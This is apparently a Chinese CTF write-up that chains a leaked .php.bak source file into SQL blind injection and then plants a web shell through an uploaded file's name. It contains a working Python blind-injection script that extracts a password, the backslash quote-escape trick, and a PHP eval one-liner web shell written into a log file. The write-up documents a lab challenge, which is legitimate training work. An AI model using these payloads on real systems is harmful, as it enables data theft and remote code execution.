文件泄露以及sql盲注

文件泄露以及sql盲注

当打开页面时,发现是一个登录页面,然后尝试闭合,发现没有任何回显,之后用御剑扫描,发现有robots.txt文件

1
2
User-agent: *
Disallow: *.php.bak

然后查看页面源码,发现一个可疑点

1
<div class="avtar"><img src="image.php?id=1" width="200" height="200"/></div>

中的image.php,所以我们构造

1
/image.php.bak

获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

其中addslashes()函数作用是遇到双引号,就会加反斜杠进行转义,而这串代码

1
2
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

这里过滤了\0、%00、\‘和单引号和双引号,而这里的sql语句是

1
select * from images where id='{$id}' or path='{$path}'

所以我们可以构造

1
?id=\\0&path=or id=if(ascii(substr((database()),0,1))>20,1,0)#

来转义id参数中的第二个单引号,我写了一个测试的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$id="\\0";
$path=123;

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

$result="select * from images where id='{$id}' or path='{$path}'";

echo $result;
?>

运行出来的sql语句为

1
select * from images where id='\' or path='123'

发现id参数的第二个单引号被转义了,所以我们可以利用id=\0来进行闭合,然后进行盲注,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = r'http://c32d6af2-73cd-46d0-a63a-00b34b3fd2b1.node4.buuoj.cn:81/image.php'
result = ''

for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
# payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
# payload = " or id=if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d,1,0)#" % (x, mid)
payload = " or id=if(ascii(substr((select(password)from(users)),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

得到admin的密码为7441095711b754eb75a2,登陆后发现是一个上传文件的界面,所以我们可以试着上传一个一句话木马,发现回显一句话

1
I logged the file name you uploaded to logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php. LOL

我们可以猜测我们的文件名可能会被写入logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php的php文件中,然后我们尝试访问logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php文件,发现

1
User admin uploaded file shell16.txt

用户名和上传的文件名都被写入了logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php文件中,所以我们可以上传文件的同时抓包,修改filename的值为

1
<?php @eval($_POST[a]); ?>

但是发现好像php字符串被过滤掉了,所以我们可以使用

1
<?=@eval($_POST[a]);?>

发现可以使用,所以我们再使用蚁剑去连接就可以了